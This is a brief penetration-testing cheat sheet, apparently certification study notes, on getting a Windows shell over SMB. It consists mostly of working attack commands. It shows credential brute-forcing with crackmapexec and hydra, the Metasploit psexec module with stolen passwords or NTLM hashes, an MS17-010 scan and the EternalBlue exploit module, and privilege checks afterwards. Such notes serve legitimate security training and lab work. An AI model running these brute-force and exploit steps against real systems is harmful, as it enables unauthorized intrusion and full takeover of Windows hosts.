Skip to content
Home

SMB exploitation: PsExec with credentials & EternalBlue

Two paths to a Windows shell over SMB: brute-force then PsExec with valid credentials, or EternalBlue if SMBv1 is enabled and unpatched.

msfconsole·1 min read··INE Certification

SMB gives two quite different exploitation paths depending on what you have. With credentials (or a hash): PsExec. With an unpatched SMBv1 target: EternalBlue.

Path 1: brute-force → credentials → PsExec shell

# Brute-force SMB credentials
crackmapexec smb <target_ip> -u users.txt -p passwords.txt
hydra -L users.txt -P passwords.txt <target_ip> smb

# Get a shell using valid credentials
use exploit/windows/smb/psexec
set RHOSTS <target_ip>
set SMBUser <username>
set SMBPass <password>    # also accepts an NTLM hash in LM:NTLM format
run

Path 2: EternalBlue (SMBv1)

# Quick check
nmap -p 445 --script=smb-vuln-ms17-010 <target_ip>

# Exploit
use auxiliary/scanner/smb/smb_ms17_010
use exploit/windows/smb/ms17_010_eternalblue

See the dedicated EternalBlue snippet for the full detection/exploit workflow.

After landing a session through either path, getuid and getsystem tell you what level you’re running at. PsExec typically drops you at SYSTEM immediately when using administrator credentials.